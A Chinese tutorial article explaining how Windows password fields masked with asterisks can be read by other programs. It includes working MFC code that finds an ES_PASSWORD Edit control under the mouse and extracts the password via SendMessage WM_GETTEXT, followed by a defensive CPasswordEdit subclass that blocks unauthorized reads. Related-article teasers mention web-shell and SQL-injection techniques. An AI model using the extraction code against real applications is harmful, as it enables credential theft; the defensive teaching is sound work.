黑客窃取密码的原理与防范措施
先来聊聊这个现象背后的原理。 在 Windows 系统中,有一个标准控件叫作 Edit,当它的 Password 属性被设置为 True 时,用户输入的内容会自动显示为星号,看起来似乎被严密保护。但实际上,这只是视觉上的伪装。程序内部的 Edit 控件依然真实地保存着用户输入的密码——应用程序自身可
先来聊聊这个现象背后的原理。
在 Windows 系统中,有一个标准控件叫作 Edit,当它的 Password 属性被设置为 True 时,用户输入的内容会自动显示为星号,看起来似乎被严密保护。但实际上,这只是视觉上的伪装。程序内部的 Edit 控件依然真实地保存着用户输入的密码——应用程序自身可以读取,其他程序也能通过发送 WM_GETTEXT 或 EM_GETLINE 这类消息来获取控件中的内容。黑客软件的套路正是利用这一点:只要发现当前窗口是一个 Edit 控件,并且带有 ES_PASSWORD 属性,那么直接通过 SendMessage 发送一条 WM_GETTEXT 或 EM_GETLINE 消息,密码就会从星号背后原形毕露。
黑客软件是如何运作的
黑客软件的第一步,是获取当前窗口并判断它是否为 Edit 控件。常见做法是通过鼠标定位目标窗口——例如在 WM_MOUSEMOVE 的响应函数中实时检测。下面是一段典型代码:
//将客户坐标转换成屏幕坐标
ClientToScreen(&point);
//返回一个包含指定屏幕坐标点的窗口
CWnd* pWnd = CWnd::WindowFromPoint(point);
if (pWnd)
{
//获取窗口句柄
HWND hwndCurr = pWnd->GetSafeHwnd();
if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL)) != (::GetWindowThreadProcessId (hwndCurr, NULL)))
{
char lpClassName[255];
//获取类名
if (::GetClassName(hwndCurr, lpClassName, 255))
{
//判断是否是Edit控件
if (0 == m_strWndClass.CompareNoCase("EDIT"))
{
//获取窗口风格
LONG lStyle = ::GetWindowLong(hwndCurr, GWL_STYLE);
//如果设置了ES_PASSWORD属性
if (lStyle & ES_PASSWORD)
{
char szText[255];
//通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息
::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);
//密码已保存在szText中
m_strPassword = szText;
}
}
}
}
}
这段代码中有三个关键步骤值得注意:
ClientToScreen(&point);
CWnd* pWnd = CWnd::WindowFromPoint(point);
HWND hwndCurr = pWnd->GetSafeHwnd();
这三行代码的作用是获取当前鼠标位置所在窗口的句柄——在后续的 SendMessage 调用中,这个句柄就是目标地址。
再往下看:
::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);
这才是真正的核心攻击。第一个参数是刚才获取的窗口句柄,第二个参数是 WM_GETTEXT 消息,Edit 控件收到后会将文本内容写入 szText 中。至此,密码就被窃取了。
如何防范这种攻击
了解黑客软件的手法后,应对策略也就清晰了。
问题的根源在于:Edit 控件对发送 WM_GETTEXT 或 EM_GETLINE 消息的对象没有进行任何身份验证——只要知道窗口句柄,任何进程都可以读取内容。要堵住这个漏洞,关键在于对消息发送者的身份进行校验。下面给出一个具体的实现方案:
1. 创建一个新的 CEdit 子类
从 CEdit 派生出子类 CPasswordEdit,并在其中声明一个全局变量 g_bSenderIdentity 来标识消息发送者的身份:
BOOL g_bSenderIdentity;
然后重写 CWnd 的虚函数 DefWindowProc,在这个回调函数中执行身份验证:
LRESULT CPasswordEdit::DefWindowProc (UINT message,WPARAM wParam,LPARAM lParam)
{
//对Edit的内容获取必须通过以下两个消息之一
if((message==WM_GETTEXT) ||(message==EM_GETLINE))
{
//检查是否为合法
if(!g_bSenderIdentity)
{
//非法获取,显示信息
AfxMessageBox(_T ("报告:正在试图窃取密码!"));
return 0;
}
//合法获取
g_bSenderIdentity=FALSE;
}
return CEdit::DefWindowProc (message,wParam,lParam);
}
2. 在数据输入对话框中做相应处理
在对话框里声明一个 CPasswordEdit 类型的成员变量:
CPasswordEdit m_edtPassword;
然后在 OnInitDialog() 中绑定控件:
m_edtPassword.SubclassDlgItem(IDC_EDIT_PASSWORD,this);
之后,在对话框的数据交换函数中将身份标记为合法:
void CDlgInput::DoDataExchange (CDataExchange*pDX)
{
//如果获取数据
if(pDX->m_bSa veAndValidate)
{
g_bSenderIdentity=TRUE;
}
CDialog::DoDataExchange(pDX);
//{{ AFX_DATA_MAP(CDlgInput)
DDX_Text (pDX,IDC_EDIT_PASSWORD,m_sPassword);
//}}AFX_DATA_MAP
}
这样一来,密码输入框就获得了“合法身份”,从而得到了有效保护。
小结
以上方法主要适用于 VC 环境下的程序。如果使用 VB、Delphi 等其他语言,则需要借助 VC 制作一个专用的 Password ActiveX 控件,实现思路与上述逻辑基本一致。所有示例代码均在 Visual C++ 6.0 下编译调试通过。
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
同类文章
零基础Python网络安全学习指南,包住宿实战培训
先抛出几个核心判断:网络安全人才缺口确实已经超过70万。这个数字不算夸张,各大招聘网站上安全岗位的薪资涨幅和需求增长都是实实在在的。但实话实说,行业真正缺的是能上手干活的人,不是只懂几个理论概念的新手。因此,一套扎实且成体系的训练方案,对于零基础转行或进阶提升就显得格外关键。 从零基础到能够独立应对
网络安全定义与核心概念详解
谈到网络安全,不同组织与标准体系对其定义虽有差异,但核心目标高度统一:保护信息与系统不受威胁侵害。以下梳理几种主流定义—— 什么是网络安全? 国际标准化组织(ISO)在ISO-74982文献中将安全定义为:最大程度地降低数据和资源遭受攻击的可能性。该定义虽简短,却精准点出安全的本质——即风险控制。
IIS 7.0网站漏洞利用与修复方法指南
先来聊聊当前网络安全领域比较流行的一种实战技巧——以PHP环境为例,详细讲解图片马合并与解析漏洞利用的具体操作步骤。整个过程并不复杂,但细节往往决定成败,大家跟着流程逐步操作即可。 合并一张PHP一句话图片马 首先,我们需要将一句话木马脚本与一张正常图片合并,生成一个看似无害的图片文件。合并方式主要
织梦管理系统后台查找功能教程
通过SQL注入漏洞获取织梦CMS(DedeCMS)管理员密码后,满怀期待地准备进入后台,却发现怎么也找不到登录入口——这种情况其实相当常见。别着急,这里有一个实用的技巧值得尝试。 直接在网站地址后面添加以下路径: include dialog select_media php?f=form1 mur
微软IE浏览器BrowseDialog类(ccrpbds6.dll)拒绝服务安全漏洞深度分析
BrowseDialog Class (ccrpbds6 dll) 导致 Internet Explorer 拒绝服务漏洞分析 该漏洞的PoC(概念验证代码)实现极为直接——触发浏览器崩溃的条件简单得令人意外。测试环境采用Windows XP Professional SP2(已安装全部补丁)并运行
- 热门数据榜
相关攻略
2026-07-25 22:28
2026-07-25 22:28
2026-07-25 22:28
2026-07-25 22:28
2026-07-25 22:10
2026-07-25 22:10
2026-07-25 22:10
2026-07-25 22:10
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程

